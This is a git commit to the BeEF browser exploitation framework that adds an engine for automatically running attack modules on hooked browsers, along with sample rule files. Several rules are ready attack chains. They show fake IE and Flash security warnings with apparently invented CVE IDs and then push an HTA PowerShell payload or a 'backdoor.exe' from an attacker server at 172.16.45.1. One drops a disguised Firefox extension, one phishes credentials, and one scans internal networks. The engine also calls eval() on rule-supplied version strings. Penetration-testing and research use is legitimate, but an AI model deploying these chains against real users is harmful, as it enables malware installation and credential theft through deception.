Autorun Rule Engine from @antisnatchor with love (alpha version).

This commit is contained in:
antisnatchor
2015-07-27 10:34:58 +02:00
parent c75b7a633d
commit c84e1b88ac
44 changed files with 1208 additions and 153 deletions

View File

@@ -0,0 +1,35 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "S",
"browser_version": "== 8",
"os": "OSX",
"os_version": "<= 10.10",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--(DUPA)--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--(SUTEK)--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,28 @@
{"name": "Get Internal IP (WebRTC)",
"author": "antisnatchor",
"browser": "FF",
"browser_version": ">= 30",
"os": "Linux",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "internal_network_fingerprinting",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80",
"threads":"5",
"wait":"2",
"timeout":"10"
}
}
],
"execution_order": [0,1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,31 @@
{
"name": "Ie Fake Notification + Clippy",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "== 11",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
}
}
,{
"name": "clippy",
"condition": null,
"options": {
"clippydir": "http://clippy.ajbnet.com/1.0.0/",
"askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
"executeyes": "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe",
"respawntime":"5000",
"thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
}
}
],
"execution_order": [0,1],
"execution_delay": [0,2000],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,27 @@
{
"name": "HTA PowerShell",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "ALL",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
}
},
{
"name": "hta_powershell",
"condition": null,
"options": {
"domain":"http://172.16.45.1:3000",
"ps_url":"/ps"
}
}],
"execution_order": [0,1],
"execution_delay": [0,500],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,20 @@
{
"name": "Firefox Extension Dropper",
"author": "antisnatchor",
"browser": "FF",
"browser_version": "ALL",
"os": "OSX",
"os_version": ">= 10.8",
"modules": [{
"name": "firefox_extension_dropper",
"condition": null,
"options": {
"extension_name": "DownThem All - Download Manager",
"xpi_name": "Down-Them-All",
"base_host": "http://127.0.0.1:3000"
}
}],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,27 @@
{
"name": "Fake missing plugin + Pretty Theft LinkedIn",
"author": "antisnatchor",
"browser": "IE",
"browser_version": ">= 8",
"os": "Windows",
"os_version": "== XP",
"modules": [{
"name": "fake_notification_c",
"condition": null,
"options": {
"url": "http://172.16.45.1:3000/updates/backdoor.exe",
"notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
}
}, {
"name": "pretty_theft",
"condition": null,
"options": {
"choice": "Windows",
"backing": "Grey",
"imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
}
}],
"execution_order": [0, 1],
"execution_delay": [0, 5000],
"chain_mode": "sequential"
}

View File

@@ -0,0 +1,50 @@
{
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "<= 8",
"os": "Windows",
"os_version": ">= XP",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
"options":{"text":"<<mod_input>>"}
},
{
// this doesn't execute atm as the setInterval call loops infinitely. Add a timeout of X second to continue anyway.
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
/* chain_mode can be 'sequential' or 'nested-forward':
#
# - sequential chain with delays (setTimeout stuff)
# ex.: setTimeout(module_one(), 0);
# setTimeout(module_two(), 2000);
# setTimeout(module_three(), 3000);
#
# - nested forward chain with status checks (setInterval to wait for command to return from async operations)
# ex.: module_one()
# if result == success
# module_two(module_one_output)
# if result == success
# module_three(module_two_output)
#*/
"chain_mode": "nested-forward"
}

3
beef
View File

@@ -130,6 +130,9 @@ end
# @note Call the API method 'pre_http_start' # @note Call the API method 'pre_http_start'
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
# Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory
BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory
# @note Start the HTTP Server, we additionally check whether we load the Console Shell or not # @note Start the HTTP Server, we additionally check whether we load the Console Shell or not
if config.get("beef.extension.console.shell.enable") == true if config.get("beef.extension.console.shell.enable") == true
require 'extensions/console/shell' require 'extensions/console/shell'

View File

@@ -75,7 +75,6 @@ beef:
type: "apache" # Supported: apache, iis, nginx type: "apache" # Supported: apache, iis, nginx
hook_404: false # inject BeEF hook in HTTP 404 responses hook_404: false # inject BeEF hook in HTTP 404 responses
hook_root: false # inject BeEF hook in the server home page hook_root: false # inject BeEF hook in the server home page
# Experimental HTTPS support for the hook / admin / all other Thin managed web services # Experimental HTTPS support for the hook / admin / all other Thin managed web services
https: https:
enable: false enable: false
@@ -102,10 +101,10 @@ beef:
# db connection information is only used for mysql/postgres # db connection information is only used for mysql/postgres
db_host: "localhost" db_host: "localhost"
db_port: 5432 db_port: 3306
db_name: "beef" db_name: "beef"
db_user: "beef" db_user: "beef"
db_passwd: "beef123" db_passwd: "beef"
db_encoding: "UTF-8" db_encoding: "UTF-8"
# Credentials to authenticate in BeEF. # Credentials to authenticate in BeEF.
@@ -114,12 +113,18 @@ beef:
user: "beef" user: "beef"
passwd: "beef" passwd: "beef"
# Autorun modules as soon the browser is hooked. # Autorun Rule Engine
# NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
autorun: autorun:
enable: true # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
# set this to TRUE if you want to allow auto-run execution for modules with target->user_notify # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
allow_user_notify: true # continue execution regardless of results.
# If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
result_poll_interval: 300
result_poll_timeout: 5000
# If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
# This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
continue_after_timeout: true
# Enables DNS lookups on zombie IP addresses # Enables DNS lookups on zombie IP addresses
dns_hostname_lookup: false dns_hostname_lookup: false

View File

@@ -32,6 +32,13 @@ require 'core/main/network_stack/api'
# @note Include the distributed engine # @note Include the distributed engine
require 'core/main/distributed_engine/models/rules' require 'core/main/distributed_engine/models/rules'
# @note Include the autorun engine
require 'core/main/autorun_engine/models/rule'
require 'core/main/autorun_engine/models/execution'
require 'core/main/autorun_engine/parser'
require 'core/main/autorun_engine/engine'
require 'core/main/autorun_engine/rule_loader'
## @note Include helpers ## @note Include helpers
require 'core/module' require 'core/module'
require 'core/modules' require 'core/modules'
@@ -46,6 +53,7 @@ require 'core/main/rest/handlers/categories'
require 'core/main/rest/handlers/logs' require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin' require 'core/main/rest/handlers/admin'
require 'core/main/rest/handlers/server' require 'core/main/rest/handlers/server'
require 'core/main/rest/handlers/autorun_engine'
require 'core/main/rest/api' require 'core/main/rest/api'
## @note Include Websocket ## @note Include Websocket

View File

@@ -54,6 +54,7 @@ module Filters
return false if not is_non_empty_string?(str) return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str) return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN" return true if str.eql? "UNKNOWN"
return true if str.eql? "ALL"
return false if not nums_only?(str) and not is_valid_float?(str) return false if not nums_only?(str) and not is_valid_float?(str)
return false if str.length > 10 return false if str.length > 10
true true

View File

@@ -0,0 +1,456 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class Engine
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
@result_poll_interval = @config.get('beef.autorun.result_poll_interval')
@result_poll_timeout = @config.get('beef.autorun.result_poll_timeout')
@continue_after_timeout = @config.get('beef.autorun.continue_after_timeout')
@debug_on = @config.get('beef.debug')
@VERSION = ['<','<=','==','>=','>','ALL']
@VERSION_STR = ['XP','Vista']
end
# Prepare and return the JavaScript of the modules to be sent.
# It also updates the rules ARE execution table with timings
def trigger(rule_ids, hb_id)
hb = BeEF::HBManager.get_by_id(hb_id)
hb_session = hb.session
rule_ids.each do |rule_id|
rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)
modules = JSON.parse(rule.modules)
execution_order = JSON.parse(rule.execution_order)
execution_delay = JSON.parse(rule.execution_delay)
chain_mode = rule.chain_mode
mods_bodies = Array.new
mods_codes = Array.new
mods_conditions = Array.new
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
options = []
replace_input = false
cmd_mod['options'].each do|k,v|
options.push({'name' => k, 'value' => v})
replace_input = true if v == '<<mod_input>>'
end
command_body = prepare_command(mod, options, hb_id, replace_input)
mods_bodies.push(command_body)
mods_codes.push(cmd_mod['code'])
mods_conditions.push(cmd_mod['condition'])
end
# Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper
case chain_mode
when 'nested-forward'
wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order)
when 'sequential'
wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay)
else
wrapper = nil
# TODO catch error, which should never happen as values are checked way before ;-)
end
are_exec = BeEF::Core::AutorunEngine::Models::Execution.new(
:session => hb_session,
:mod_count => modules.length,
:mod_successful => 0,
:mod_body => wrapper,
:is_sent => false,
:rule_id => rule_id
)
are_exec.save
# Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-)
print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}"
end
end
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
# Launch order is also taken care of (TODO execution is not nested right now, check if it should be changed)]
# - sequential chain with delays (setTimeout stuff)
# ex.: setTimeout(module_one(), 0);
# setTimeout(module_two(), 2000);
# setTimeout(module_three(), 3000);
# Note: no result status is checked here!! Useful if you just want to launch a bunch of modules without caring
# what their status will be (for instance, a bunch of XSRFs on a set of targets)
def prepare_sequential_wrapper(mods, order, delay)
wrapper = ''
delayed_exec = ''
c = 0
while c < mods.length
delayed_exec += %Q| setTimeout("#{mods[order[c]][:mod_name]}();", #{delay[c]}); |
wrapped_mod = "#{mods[order[c]][:mod_body]}\n"
wrapper += wrapped_mod
c += 1
end
wrapper += delayed_exec
print_more "Final Modules Wrapper:\n #{delayed_exec}" if @debug_on
wrapper
end
# Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
# Launch order is also taken care of (TODO execution is not nested right now, check if it should be changed)
# - nested forward chain with status checks (setInterval to wait for command to return from async operations)
# ex.: module_one()
# if result == success
# module_two(module_one_output)
# if result == success
# module_three(module_two_output)
#
# Note: command result status is checked, and you can properly chain input into output, having also
# the flexibility of slightly mangling it to adapt to module needs.
# Note: Useful in situations where you want to launch 2 modules, where the second one will execute only
# if the first once return with success. Also, the second module has the possibility of mangling first
# module output and use it as input for some of its module inputs.
def prepare_nested_forward_wrapper(mods, code, conditions, order)
wrapper, delayed_exec = '',''
delayed_exec_footers = Array.new
c = 0
while c < mods.length
if mods.length == 1
i = c
else
i = c + 1
end
code_snippet = ''
mod_input = ''
if code[c] != 'null' && code[c] != ''
code_snippet = code[c]
mod_input = 'mod_input'
end
conditions[i] = true if conditions[i] == nil || conditions[i] == ''
if c == 0
# this is the first wrapper to prepare
delayed_exec += %Q|
function #{mods[order[c]][:mod_name]}_f(){
#{mods[order[c]][:mod_name]}();
// TODO add timeout to prevent infinite loops
function isResReady(mod_result, start){
if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
// loop
}else{
// module return status/data is now available
clearInterval(resultReady);
if (mod_result === null && #{@continue_after_timeout}){
var mod_result = [];
mod_result[0] = 1; //unknown status
mod_result[1] = '' //empty result
}
var status = mod_result[0];
if(#{conditions[i]}){
#{mods[order[i]][:mod_name]}_can_exec = true;
#{mods[order[c]][:mod_name]}_mod_output = mod_result[1];
|
delayed_exec_footer = %Q|
}
}
}
var start = (new Date()).getTime();
var resultReady = setInterval(function(){var start = (new Date()).getTime(); isResReady(#{mods[order[c]][:mod_name]}_mod_output, start);},#{@result_poll_interval});
}
#{mods[order[c]][:mod_name]}_f();
|
delayed_exec_footers.push(delayed_exec_footer)
elsif c < mods.length - 1
# this is one of the wrappers in the middle of the chain
delayed_exec += %Q|
function #{mods[order[c]][:mod_name]}_f(){
if(#{mods[order[c]][:mod_name]}_can_exec){
#{code_snippet}
#{mods[order[c]][:mod_name]}(#{mod_input});
function isResReady(mod_result, start){
if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){
// loop
}else{
// module return status/data is now available
clearInterval(resultReady);
if (mod_result === null && #{@continue_after_timeout}){
var mod_result = [];
mod_result[0] = 1; //unknown status
mod_result[1] = '' //empty result
}
var status = mod_result[0];
if(#{conditions[i]}){
#{mods[order[i]][:mod_name]}_can_exec = true;
#{mods[order[c]][:mod_name]}_mod_output = mod_result[1];
|
delayed_exec_footer = %Q|
}
}
}
var start = (new Date()).getTime();
var resultReady = setInterval(function(){ isResReady(#{mods[order[c]][:mod_name]}_mod_output, start);},#{@result_poll_interval});
}
}
#{mods[order[c]][:mod_name]}_f();
|
delayed_exec_footers.push(delayed_exec_footer)
else
# this is the last wrapper to prepare
delayed_exec += %Q|
function #{mods[order[c]][:mod_name]}_f(){
if(#{mods[order[c]][:mod_name]}_can_exec){
#{code_snippet}
#{mods[order[c]][:mod_name]}(#{mod_input});
}
}
#{mods[order[c]][:mod_name]}_f();
|
end
wrapped_mod = "#{mods[order[c]][:mod_body]}\n"
wrapper += wrapped_mod
c += 1
end
wrapper += delayed_exec + delayed_exec_footers.reverse.join("\n")
print_more "Final Modules Wrapper:\n #{delayed_exec + delayed_exec_footers.reverse.join("\n")}" if @debug_on
wrapper
end
# prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it,
# and store it in the database.
# Returns the raw module body after template substitution.
def prepare_command(mod, options, hb_id, replace_input)
config = BeEF::Core::Configuration.instance
begin
command = BeEF::Core::Models::Command.new(
:data => options.to_json,
:hooked_browser_id => hb_id,
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"),
:creationdate => Time.new.to_i,
:instructions_sent => true
)
command.save
command_module = BeEF::Core::Models::CommandModule.first(:id => mod.id)
if (command_module.path.match(/^Dynamic/))
# metasploit and similar integrations
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
# normal modules always here
key = BeEF::Module.get_key_by_database_id(mod.id)
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
end
hb = BeEF::HBManager.get_by_id(hb_id)
hb_session = hb.session
command_module.command_id = command.id
command_module.session_id = hb_session
command_module.build_datastore(command.data)
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
command_body = evasion.obfuscate(command_module.output) + "\n\n"
else
command_body = command_module.output + "\n\n"
end
# @note prints the event to the console
print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]"
replace_input ? mod_input = 'mod_input' : mod_input = ''
result = %Q|
var #{mod.name} = function(#{mod_input}){
#{clean_command_body(command_body, replace_input)}
};
var #{mod.name}_can_exec = false;
var #{mod.name}_mod_output = null;
|
return {:mod_name => mod.name, :mod_body => result}
rescue => e
print_error e.message
print_debug e.backtrace.join("\n")
end
end
# Removes the beef.execute wrapper in order that modules are executed in the ARE wrapper, rather than
# using the default behavior of adding the module to an array and execute it at polling time.
#
# Also replace <<mod_input>> with mod_input variable if needed for chaining module output/input
def clean_command_body(command_body, replace_input)
begin
cmd_body = command_body.lines.map(&:chomp)
wrapper_start_index,wrapper_end_index = nil
cmd_body.each_with_index do |line, index|
if line.include?('beef.execute(function()')
wrapper_start_index = index
break
end
end
cmd_body.reverse.each_with_index do |line, index|
if line.include?('});')
wrapper_end_index = index
break
end
end
cleaned_cmd_body = cmd_body.slice(wrapper_start_index+1..-(wrapper_end_index+2)).join("\n")
# check if <<mod_input>> should be replaced with a variable name (depending if the variable is a string or number)
if replace_input
if cleaned_cmd_body.include?('"<<mod_input>>"')
final_cmd_body = cleaned_cmd_body.gsub('"<<mod_input>>"','mod_input')
elsif cleaned_cmd_body.include?('\'<<mod_input>>\'')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
elsif cleaned_cmd_body.include?('<<mod_input>>')
final_cmd_body = cleaned_cmd_body.gsub('\'<<mod_input>>\'','mod_input')
else
return cleaned_cmd_body
end
return final_cmd_body
else
return cleaned_cmd_body
end
rescue => e
print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body.dd"
end
end
# Checks if there are any ARE rules to be triggered for the specified hooked browser
#
# Note: browser version checks are supporting only major versions, ex: C 43, IE 11
# Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1
#
# Returns an array with rule IDs that matched and should be triggered.
# if rule_id is specified, checks will be executed only against the specified rule (useful
# for dynamic triggering of new rulesets ar runtime)
def match(browser, browser_version, os, os_version, rule_id=nil)
match_rules = []
if rule_id != nil
rules = [BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)]
else
rules = BeEF::Core::AutorunEngine::Models::Rule.all(:browser => browser)
end
return nil if rules == nil
print_info "[ARE] Checking if any defined rules should be triggered on target."
# TODO handle cases where there are multiple ARE rules for the same hooked browser.
# TODO the above works well, but maybe rules need to have priority or something?
rules.each do |rule|
begin
browser_match, os_match = false, false
# The following is to protect from potential RCE if someone uploads a rule containing a payload
# as the version condition. In this way we ensure that only <,>,= and the ALL string are allowed as characters,
# effectively nullifying the risk of eval() usage. We need eval() here for easy match-making of versions
# TODO the character > can be used to redirect output in RCE vectors, play with it
# next unless BeEF::Filters::only?("a-zA-Z0-9", browser) &&
# BeEF::Filters::only?("a-zA-Z0-9.<=>", browser_version) &&
# BeEF::Filters::only?("a-zA-Z0-9", os) &&
# BeEF::Filters::only?("a-zA-Z0-9.<=>", os_version)
b_ver_cond = rule.browser_version.split(' ').first
b_ver = rule.browser_version.split(' ').last
os_ver_rule_cond = rule.os_version.split(' ').first
os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first
os_ver_rule_min = rule.os_version.split(' ').last.split('.').last
# Most of the times Linux/*BSD OS doesn't return any version (TODO: improve OS detection on these operating systems)
if os_version != nil && !@VERSION_STR.include?(os_version)
os_ver_hook_maj = os_version.split('.').first
os_ver_hook_min = os_version.split('.').last
# the following assignments to 0 are need for later checks like:
# 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same
os_ver_hook_min = 0 if os_version.split('.').length == 1
os_ver_rule_min = 0 if rule.os_version.split('.').length == 1
else
# most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea
# to switch from strings to numbers in OS versioning. To prevent rewriting code later on,
# we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on.
os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP'
os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista'
end
os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP'
os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_min == 'Vista'
next unless @VERSION.include?(b_ver_cond)
next unless BeEF::Filters::is_valid_browserversion?(b_ver)
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
# check if the browser and OS types do match
next unless browser == 'ALL' || browser == rule.browser
next unless os == 'ALL' || os == rule.os
# check if the browser version match
if b_ver_cond == 'ALL'
browser_match = true
browser_version_match = true
else
browser_version_match = eval(browser_version.to_s + rule.browser_version)
browser_match = true if browser_version_match
end
print_more "Browser version check -> (hook) #{browser_version.to_s} #{rule.browser_version} (rule) : #{browser_version_match}"
# check if the OS versions match
if os_version != nil || rule.os_version != 'ALL'
os_major_version_match = eval(os_ver_hook_maj.to_s + os_ver_rule_cond + os_ver_rule_maj.to_s)
os_minor_version_match = eval(os_ver_hook_min.to_s + os_ver_rule_cond + os_ver_rule_min.to_s)
else
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
os_major_version_match, os_minor_version_match = true, true
end
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
if browser_match && os_match
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
match_rules.push(rule.id)
end
rescue => e
print_error e.message
print_debug e.backtrace.join("\n")
end
end
print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version."
return match_rules
end
end
end
end
end

View File

@@ -0,0 +1,30 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
module Models
# @note Stored info about the execution of the ARE on hooked browsers.
class Execution
include DataMapper::Resource
storage_names[:default] = 'core_areexecution'
property :id, Serial
property :session, Text # hooked browser session where a ruleset triggered
property :mod_count, Integer # number of command modules of the ruleset
property :mod_successful, Integer # number of command modules that returned with success
# By default Text is only 65K, so field length increased to 1 MB
property :mod_body, Text, :length => 1024000 # entire command module(s) body to be sent
property :exec_time, String, :length => 15 # timestamp of ruleset triggering
property :is_sent, Boolean
end
end
end
end
end

View File

@@ -0,0 +1,34 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
module Models
# @note Table stores the rules for the Distributed Engine.
class Rule
include DataMapper::Resource
storage_names[:default] = 'core_arerules'
property :id, Serial
property :name, Text # rule name
property :author, String # rule author
property :browser, String, :length => 10 # browser name
property :browser_version, String, :length => 10 # browser version
property :os, String, :length => 10 # OS name
property :os_version, String, :length => 10 # OS version
property :modules, Text # JSON stringyfied representation of the JSON rule for further parsing
property :execution_order, Text # command module execution order
property :execution_delay, Text # command module time delays
property :chain_mode, String, :length => 40 # rule chaining mode
has n, :executions
end
end
end
end
end

View File

@@ -0,0 +1,75 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class Parser
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
end
BROWSER = ['FF','C','IE','S','O','ALL']
OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL']
VERSION = ['<','<=','==','>=','>','ALL','Vista','XP']
CHAIN_MODE = ['sequential','nested-forward']
# Parse a JSON ARE file and returns an Hash with the value mappings
def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
begin
success = [true]
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
return [false, 'Illegal browser_version definition'] unless BeEF::Filters::is_valid_browserversion?(
browser_version.split(' ').last) || VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) || browser_version == 'ALL'
return [false, 'Illegal os definition'] unless OS.include?(os)
return [false, 'Illegal os_version definition'] unless
(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) || os_version == 'ALL') && BeEF::Filters::only?("a-zA-Z0-9.<=> ",os_version)
# check if module names, conditions and options are ok
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
if mod != nil
modk = BeEF::Module.get_key_by_database_id(mod.id)
mod_options = BeEF::Module.get_options(modk)
opt_count = 0
mod_options.each do |opt|
if opt['name'] == cmd_mod['options'].keys[opt_count]
opt_count += 1
else
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
}) for module (#{cmd_mod['name']}) does not exist"]
end
end
else
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
end
end
exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?}
exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?}
success
rescue => e
print_error "#{e.message}"
print_debug "#{e.backtrace.join("\n")}"
return [false, 'Something went wrong.']
end
end
end
end
end
end

View File

@@ -0,0 +1,95 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class RuleLoader
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
end
# this expects parsed JSON as input
def load(data)
begin
name = data['name']
author = data['author']
browser = data['browser']
browser_version = data['browser_version']
os = data['os']
os_version = data['os_version']
modules = data['modules']
exec_order = data['execution_order']
exec_delay = data['execution_delay']
chain_mode = data['chain_mode']
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode)
if parser_result.length == 1 && parser_result.first
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
print_more "Target Browser: #{browser} (#{browser_version})"
print_more "Target OS: #{os} (#{os_version})"
print_more "Modules to Trigger:"
modules.each do |mod|
print_more "(*) Name: #{mod['name']}"
print_more "(*) Condition: #{mod['condition']}"
print_more "(*) Code: #{mod['code']}"
print_more "(*) Options:"
mod['options'].each do |key,value|
print_more "\t#{key}: (#{value})"
end
end
print_more "Exec order: #{exec_order}"
print_more "Exec delay: #{exec_delay}"
are_rule = BeEF::Core::AutorunEngine::Models::Rule.new(
:name => name,
:author => author,
:browser => browser,
:browser_version => browser_version,
:os => os,
:os_version => os_version,
:modules => modules.to_json,
:execution_order => exec_order,
:execution_delay => exec_delay,
:chain_mode => chain_mode)
are_rule.save
return { 'success' => true, 'rule_id' => are_rule.id}
else
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
return { 'success' => false, 'error' => parser_result.last }
end
rescue => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
return { 'success' => false, 'error' => err }
end
end
def load_file(json_rule_path)
begin
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
self.load JSON.parse(rule_file)
rescue => e
print_error "[ARE] Failed to load ruleset from #{json_rule_path}"
end
end
def load_directory
Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule|
print_info "[ARE] Processing rule: #{rule}"
self.load_file rule
end
end
end
end
end
end

View File

@@ -5,43 +5,14 @@
// //
beef.are = { beef.are = {
init:function(){ status_success: function(){
var Jools = require('jools'); return 1;
this.ruleEngine = new Jools();
}, },
send:function(module){ status_unknown: function(){
// there will probably be some other stuff here before things are finished return 0;
this.commands.push(module);
}, },
execute:function(inputs){ status_error: function(){
this.rulesEngine.execute(input); return -1;
},
cache_modules:function(modules){},
rules:[
{
'name':"exec_no_input",
'condition':function(command,browser){
//need to figure out how to handle the inputs
return (!command['inputs'] || command['inputs'].length == 0)
},
'consequence':function(command,browser){}
},
{
'name':"module_has_sibling",
'condition':function(command,commands){
return false;
},
'consequence':function(command,commands){}
},
{
'name':"module_depends_on_module",
'condition':function(command,commands){
return false;
},
'consequence':function(command,commands){}
} }
],
commands:[],
results:[]
}; };
